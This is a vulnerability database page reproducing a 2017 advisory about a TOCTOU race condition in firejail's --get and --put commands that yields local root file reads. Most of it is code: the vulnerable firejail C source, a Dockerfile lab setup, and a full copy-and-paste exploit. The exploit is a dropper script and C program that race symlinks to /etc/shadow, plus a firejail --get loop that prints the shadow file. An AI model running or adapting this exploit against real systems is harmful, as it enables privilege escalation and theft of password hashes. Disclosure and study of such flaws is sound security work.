Lucene search
+L

Firejail Privilege Escalation

🗓️ 12 Jan 2017 00:00:00Reported by Daniel HodsonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

Firejail TOCTOU Privilege Escalation Vulnerabilit

Code
`# firejail advisory for TOCTOU in --get and --put (local root)  
  
Releasing a brief advisory/writeup about a local root privesc found in firejail that we reported back in Nov, 2016. This is in response to a recent [thread](http://seclists.org/oss-sec/2017/q1/20) on oss-sec where people seem interested in details of firejail security issues. This particular vulnerability was fixed in commit [e152e2d](https://github.com/netblue30/firejail/commit/e152e2d067e17be33c7e82ce438c8ae740af6a66) but no CVE was assigned.  
  
## Vulnerability  
  
This is a TOCTOU (race condition) bug when testing access permissions with access() and then calling copy_file(). At the time of discovery, it was clear the code suffered from many insecure coding constructs like this and much more -- but there was no guideline around making security related bug reports (other than using the public issue tracker).  
  
### Code: src/firejail/ls.c  
~~~  
void sandboxfs(int op, pid_t pid, const char *path) {  
EUID_ASSERT();  
  
// if the pid is that of a firejail process, use the pid of the first child process  
EUID_ROOT();  
char *comm = pid_proc_comm(pid);  
EUID_USER();  
if (comm) {  
if (strcmp(comm, "firejail") == 0) {  
pid_t child;  
if (find_child(pid, &child) == 0) {  
pid = child;  
}  
}  
free(comm);  
}  
  
// check privileges for non-root users  
uid_t uid = getuid();  
if (uid != 0) {  
uid_t sandbox_uid = pid_get_uid(pid);  
if (uid != sandbox_uid) {  
fprintf(stderr, "Error: permission denied.\n");  
exit(1);  
}  
}  
  
// full path or file in current directory?  
char *fname;  
if (*path == '/') {  
fname = strdup(path);  
if (!fname)  
errExit("strdup");  
}  
else if (*path == '~') {  
if (asprintf(&fname, "%s%s", cfg.homedir, path + 1) == -1)  
errExit("asprintf");  
}  
else {  
fprintf(stderr, "Error: Cannot access %s\n", path);  
exit(1);  
}  
  
// sandbox root directory  
char *rootdir;  
if (asprintf(&rootdir, "/proc/%d/root", pid) == -1)  
errExit("asprintf");  
  
if (op == SANDBOX_FS_LS) {  
EUID_ROOT();  
// chroot  
if (chroot(rootdir) < 0)  
errExit("chroot");  
if (chdir("/") < 0)  
errExit("chdir");  
  
// access chek is performed with the real UID  
if (access(fname, R_OK) == -1) {  
fprintf(stderr, "Error: Cannot access %s\n", fname);  
exit(1);  
}  
  
// list directory contents  
struct stat s;  
if (stat(fname, &s) == -1) {  
fprintf(stderr, "Error: Cannot access %s\n", fname);  
exit(1);  
}  
if (S_ISDIR(s.st_mode)) {  
char *rp = realpath(fname, NULL);  
if (!rp) {  
fprintf(stderr, "Error: Cannot access %s\n", fname);  
exit(1);  
}  
if (arg_debug)  
printf("realpath %s\n", rp);  
  
char *dir;  
if (asprintf(&dir, "%s/", rp) == -1)  
errExit("asprintf");  
  
print_directory(dir);  
free(rp);  
free(dir);  
}  
else {  
char *rp = realpath(fname, NULL);  
if (!rp) {  
fprintf(stderr, "Error: Cannot access %s\n", fname);  
exit(1);  
}  
if (arg_debug)  
printf("realpath %s\n", rp);  
char *split = strrchr(rp, '/');  
if (split) {  
*split = '\0';  
char *rp2 = split + 1;  
if (arg_debug)  
printf("path %s, file %s\n", rp, rp2);  
print_file_or_dir(rp, rp2, 1);  
}  
free(rp);  
}  
}  
  
// get file from sandbox and store it in the current directory  
else if (op == SANDBOX_FS_GET) {  
// check source file (sandbox)  
char *src_fname;  
if (asprintf(&src_fname, "%s%s", rootdir, fname) == -1)  
errExit("asprintf");  
EUID_ROOT();  
struct stat s;  
if (stat(src_fname, &s) == -1) {  
fprintf(stderr, "Error: Cannot access %s\n", fname);  
exit(1);  
}  
  
  
// try to open the source file - we need to chroot  
pid_t child = fork();  
if (child < 0)  
errExit("fork");  
if (child == 0) {  
// chroot  
if (chroot(rootdir) < 0)  
errExit("chroot");  
if (chdir("/") < 0)  
errExit("chdir");  
  
// drop privileges  
drop_privs(0);  
  
// try to read the file  
if (access(fname, R_OK) == -1) {  
fprintf(stderr, "Error: Cannot read %s\n", fname);  
exit(1);  
}  
exit(0);  
}  
  
// wait for the child to finish  
int status = 0;  
waitpid(child, &status, 0);  
if (WIFEXITED(status) && WEXITSTATUS(status) == 0);  
else  
exit(1);  
EUID_USER();  
  
// check destination file (host)  
char *dest_fname = strrchr(fname, '/');  
if (!dest_fname || *(++dest_fname) == '\0') {  
fprintf(stderr, "Error: invalid file name %s\n", fname);  
exit(1);  
}  
  
if (access(dest_fname, F_OK) == -1) {  
// try to create the file  
FILE *fp = fopen(dest_fname, "w");  
if (!fp) {  
fprintf(stderr, "Error: cannot create %s\n", dest_fname);  
exit(1);  
}  
fclose(fp);  
}  
else {  
if (access(dest_fname, W_OK) == -1) {  
fprintf(stderr, "Error: cannot write %s\n", dest_fname);  
exit(1);  
}  
}  
// copy file  
EUID_ROOT();  
copy_file(src_fname, dest_fname, getuid(), getgid(), 0644);  
printf("Transfer complete\n");  
EUID_USER();  
}  
  
free(fname);  
free(rootdir);  
  
exit(0);  
}  
~~~  
  
  
  
### Code: src/firejail/util.c  
~~~  
int copy_file(const char *srcname, const char *destname, uid_t uid, gid_t gid, mode_t mode) {  
assert(srcname);  
assert(destname);  
  
// open source  
int src = open(srcname, O_RDONLY);  
if (src < 0) {  
fprintf(stderr, "Warning: cannot open %s, file not copied\n", srcname);  
return -1;  
}  
  
// open destination  
int dst = open(destname, O_CREAT|O_WRONLY|O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);  
if (dst < 0) {  
fprintf(stderr, "Warning: cannot open %s, file not copied\n", destname);  
close(src);  
return -1;  
}  
  
// copy  
ssize_t len;  
static const int BUFLEN = 1024;  
unsigned char buf[BUFLEN];  
while ((len = read(src, buf, BUFLEN)) > 0) {  
int done = 0;  
while (done != len) {  
int rv = write(dst, buf + done, len - done);  
if (rv == -1) {  
close(src);  
close(dst);  
return -1;  
}  
  
done += rv;  
}  
}  
  
if (fchown(dst, uid, gid) == -1)  
errExit("fchown");  
if (fchmod(dst, mode) == -1)  
errExit("fchmod");  
  
close(src);  
close(dst);  
return 0;  
}  
</snip>  
~~~  
  
## Testing   
  
### Our Dockerfile  
  
~~~  
FROM ubuntu:latest  
  
ENV wdir /root/firejail  
  
RUN apt-get update && apt-get install -y git gcc make  
RUN useradd -ms /bin/bash daniel && echo "daniel:password" | chpasswd  
RUN git clone https://github.com/netblue30/firejail.git ${wdir}  
WORKDIR ${wdir}  
RUN git reset --hard 81467143ee9c47d9c90e97fb55baf2d47702d372  
RUN ./configure && make && make install  
~~~  
  
### Our exploit  
  
This will exploit the --get command to read /etc/shadow and print back to the console. Just copy and paste into your shell:  
  
~~~  
#dropper  
cat > gexp.sh <<GUEST_JAIL_SCRIPT_EOF  
mkdir -p /tmp/exploit  
cat > /tmp/exploit/gaolbreak.c <<TOCTOU_POC_END  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <fcntl.h>  
  
int main(int argc, char **argv)  
{  
char *fl = "/etc/shadow";  
  
if(argc > 1) {  
fl = argv[1];  
}  
  
while(1) {  
int fd = open("owned", O_CREAT | O_RDWR, 0777);  
if(fd == -1) {  
perror("open");  
exit(1);  
}  
close(fd);  
remove("owned");  
symlink(fl, "owned");  
remove("owned");  
}  
}  
TOCTOU_POC_END  
cd /tmp/exploit  
gcc ./gaolbreak.c -o gaolbreak  
# XXX: change argv[1] to whatever you want  
./gaolbreak /etc/shadow  
GUEST_JAIL_SCRIPT_EOF  
  
# run the dropper (symlink attack) in a jail  
chmod +x ./gexp.sh  
firejail --noprofile --force --name=el ./gexp.sh &  
  
# win race using the vulnerable 'firejail --get' command.  
mkdir exploitel  
cd exploitel  
while [ 1 ] ; do nice -n 19 firejail --get=$(pgrep -f '^firejail.*--name=el' -n) /tmp/exploit/owned >/dev/null 2>&1; cat owned 2>/dev/null; done  
~~~  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jan 2017 00:00Current
0.9Low risk
Vulners AI Score0.9
39